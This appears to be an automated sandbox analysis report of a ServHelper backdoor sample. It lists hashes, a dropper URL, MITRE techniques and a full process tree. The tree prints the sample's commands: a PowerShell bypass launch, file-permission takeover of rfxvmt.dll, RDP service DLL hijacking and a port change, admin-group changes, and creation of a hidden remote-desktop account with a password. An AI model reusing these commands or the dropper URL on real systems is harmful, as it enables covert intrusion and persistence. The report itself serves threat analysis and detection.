servhelper | d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b

Analysis

max time kernel
96s
max time network
99s
platform
windows10-2004_x64
resource
win10v2004-20220414-en
submitted
17-04-2022 14:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b.exe
Size

5.0MB
MD5

dad016742692ade0afeb5a49aa446305
SHA1

d9fd064eba67672aa036cfc65660deaa37af52b8
SHA256

d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b
SHA512

fec50722d50b147cec0b6e0fb62f290113bcb1bf5723741a8a2d27ef5520f67db28ecff919956b140a7e17fdf74456f8d53255451ecaaf36f0230739884595e7

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 10 IoCs

flow	pid	Process
7	616	powershell.exe
9	616	powershell.exe
10	616	powershell.exe
11	616	powershell.exe
12	616	powershell.exe
14	616	powershell.exe
16	616	powershell.exe
18	616	powershell.exe
20	616	powershell.exe
22	616	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
2352	icacls.exe
2092	icacls.exe
2848	icacls.exe
316	icacls.exe
2452	takeown.exe
2748	icacls.exe
3588	icacls.exe
3808	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000b000000022e24-173.dat	upx
behavioral2/files/0x000b000000022e2a-174.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
3724	Process not Found
3724	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2352	icacls.exe
2092	icacls.exe
2848	icacls.exe
316	icacls.exe
2452	takeown.exe
2748	icacls.exe
3588	icacls.exe
3808	icacls.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT	powershell.exe
File opened for modification	C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI	powershell.exe

Drops file in Windows directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_szshlw5h.mtm.psm1	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIA2BA.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIA2FA.tmp	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIA31A.tmp	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGIA29A.tmp	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_revb1oae.cya.ps1	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\shellbrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\RGI9FE9.tmp	powershell.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Flags = "33"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\CurrentLevel = "69632"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\Flags = "71"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\PMDisplayName = "Local intranet [Protected Mode]"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\https = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\LowIcon = "inetcpl.cpl#005423"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\LowIcon = "inetcpl.cpl#005425"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\DisplayName = "Internet"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\e1be3f182420a0a0 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\LowIcon = "inetcpl.cpl#005426"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1400 = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\PMDisplayName = "Restricted sites [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\LowIcon = "inetcpl.cpl#005422"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\shell = "0"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Flags = "219"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "My Computer [Protected Mode]"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map\2ba02e083fadee33 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings,IE5_UA_Backup_Flag,"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map\e1be3f182420a0a0 = ",33,HKCU,Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones,"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\Description = "This zone contains all Web sites you haven't placed in other zones"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\DisplayName = "My Computer"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\1400 = "3"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Flags = "3"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Description = "This zone contains Web sites that you trust not to damage your computer or data."	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\Icon = "inetcpl.cpl#00004481"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\1200 = "0"	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data."	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4484	reg.exe

Runs net.exe

Script User-Agent 5 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc	stream
HTTP User-Agent header	9	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	10	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	11	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	12	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1
HTTP User-Agent header	14	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)	1

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
4844	powershell.exe
4844	powershell.exe
1480	powershell.exe
1480	powershell.exe
5096	powershell.exe
5096	powershell.exe
800	powershell.exe
800	powershell.exe
4844	powershell.exe
4844	powershell.exe
4844	powershell.exe
616	powershell.exe
616	powershell.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	800	powershell.exe
Token: SeRestorePrivilege	3588	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	3084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3084	WMIC.exe
Token: SeAuditPrivilege	3084	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3084	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3084	WMIC.exe
Token: SeAuditPrivilege	3084	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4068	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4068	WMIC.exe
Token: SeAuditPrivilege	4068	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	4068	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4068	WMIC.exe
Token: SeAuditPrivilege	4068	WMIC.exe
Token: SeDebugPrivilege	616	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4860 wrote to memory of 4844	4860	d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b.exe	77
PID 4860 wrote to memory of 4844	4860	d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b.exe	77
PID 4844 wrote to memory of 764	4844	powershell.exe	79
PID 4844 wrote to memory of 764	4844	powershell.exe	79
PID 764 wrote to memory of 1220	764	csc.exe	80
PID 764 wrote to memory of 1220	764	csc.exe	80
PID 4844 wrote to memory of 1480	4844	powershell.exe	81
PID 4844 wrote to memory of 1480	4844	powershell.exe	81
PID 4844 wrote to memory of 5096	4844	powershell.exe	83
PID 4844 wrote to memory of 5096	4844	powershell.exe	83
PID 4844 wrote to memory of 800	4844	powershell.exe	85
PID 4844 wrote to memory of 800	4844	powershell.exe	85
PID 4844 wrote to memory of 2452	4844	powershell.exe	88
PID 4844 wrote to memory of 2452	4844	powershell.exe	88
PID 4844 wrote to memory of 2748	4844	powershell.exe	89
PID 4844 wrote to memory of 2748	4844	powershell.exe	89
PID 4844 wrote to memory of 3588	4844	powershell.exe	90
PID 4844 wrote to memory of 3588	4844	powershell.exe	90
PID 4844 wrote to memory of 3808	4844	powershell.exe	91
PID 4844 wrote to memory of 3808	4844	powershell.exe	91
PID 4844 wrote to memory of 2352	4844	powershell.exe	92
PID 4844 wrote to memory of 2352	4844	powershell.exe	92
PID 4844 wrote to memory of 2092	4844	powershell.exe	93
PID 4844 wrote to memory of 2092	4844	powershell.exe	93
PID 4844 wrote to memory of 2848	4844	powershell.exe	94
PID 4844 wrote to memory of 2848	4844	powershell.exe	94
PID 4844 wrote to memory of 316	4844	powershell.exe	95
PID 4844 wrote to memory of 316	4844	powershell.exe	95
PID 4844 wrote to memory of 208	4844	powershell.exe	96
PID 4844 wrote to memory of 208	4844	powershell.exe	96
PID 4844 wrote to memory of 4484	4844	powershell.exe	97
PID 4844 wrote to memory of 4484	4844	powershell.exe	97
PID 4844 wrote to memory of 756	4844	powershell.exe	98
PID 4844 wrote to memory of 756	4844	powershell.exe	98
PID 4844 wrote to memory of 4216	4844	powershell.exe	99
PID 4844 wrote to memory of 4216	4844	powershell.exe	99
PID 4216 wrote to memory of 3476	4216	net.exe	100
PID 4216 wrote to memory of 3476	4216	net.exe	100
PID 4844 wrote to memory of 3904	4844	powershell.exe	101
PID 4844 wrote to memory of 3904	4844	powershell.exe	101
PID 3904 wrote to memory of 3380	3904	cmd.exe	102
PID 3904 wrote to memory of 3380	3904	cmd.exe	102
PID 3380 wrote to memory of 1852	3380	cmd.exe	103
PID 3380 wrote to memory of 1852	3380	cmd.exe	103
PID 1852 wrote to memory of 1684	1852	net.exe	104
PID 1852 wrote to memory of 1684	1852	net.exe	104
PID 4844 wrote to memory of 2424	4844	powershell.exe	105
PID 4844 wrote to memory of 2424	4844	powershell.exe	105
PID 2424 wrote to memory of 3288	2424	cmd.exe	106
PID 2424 wrote to memory of 3288	2424	cmd.exe	106
PID 3288 wrote to memory of 3940	3288	cmd.exe	107
PID 3288 wrote to memory of 3940	3288	cmd.exe	107
PID 3940 wrote to memory of 4892	3940	net.exe	108
PID 3940 wrote to memory of 4892	3940	net.exe	108
PID 4196 wrote to memory of 928	4196	cmd.exe	112
PID 4196 wrote to memory of 928	4196	cmd.exe	112
PID 928 wrote to memory of 3576	928	net.exe	113
PID 928 wrote to memory of 3576	928	net.exe	113
PID 4456 wrote to memory of 1900	4456	cmd.exe	116
PID 4456 wrote to memory of 1900	4456	cmd.exe	116
PID 1900 wrote to memory of 4272	1900	net.exe	117
PID 1900 wrote to memory of 4272	1900	net.exe	117
PID 4056 wrote to memory of 808	4056	cmd.exe	120
PID 4056 wrote to memory of 808	4056	cmd.exe	120

C:\Users\Admin\AppData\Local\Temp\d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b.exe
"C:\Users\Admin\AppData\Local\Temp\d4e23f334c0ff5630ad00e50022e77ca6b05defdddc0a8fde8d3725d83b4611b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4860
- \??\c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe
  -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\wieotjl5\wieotjl5.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:764
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD72B.tmp" "c:\Users\Admin\AppData\Local\Temp\wieotjl5\CSC4FBAACC7B3184DC0B8DF53C0687B77.TMP"
      4⤵
      PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:800
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2452
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2748
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:3588
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3808
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2352
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2092
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2848
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:316
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:208
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:4484
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:756
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4216
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:3476
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3904
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3380
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1852
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1684
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2424
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3288
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3940
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:4892
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1948
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:4252

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc Ghasar4f5 /del
1⤵
- Suspicious use of WriteProcessMemory
PID:4196
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc Ghasar4f5 /del
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:928
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc Ghasar4f5 /del
    3⤵
    PID:3576

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 57sIYaoz /add
1⤵
- Suspicious use of WriteProcessMemory
PID:4456
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 57sIYaoz /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1900
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 57sIYaoz /add
    3⤵
    PID:4272

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:808
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
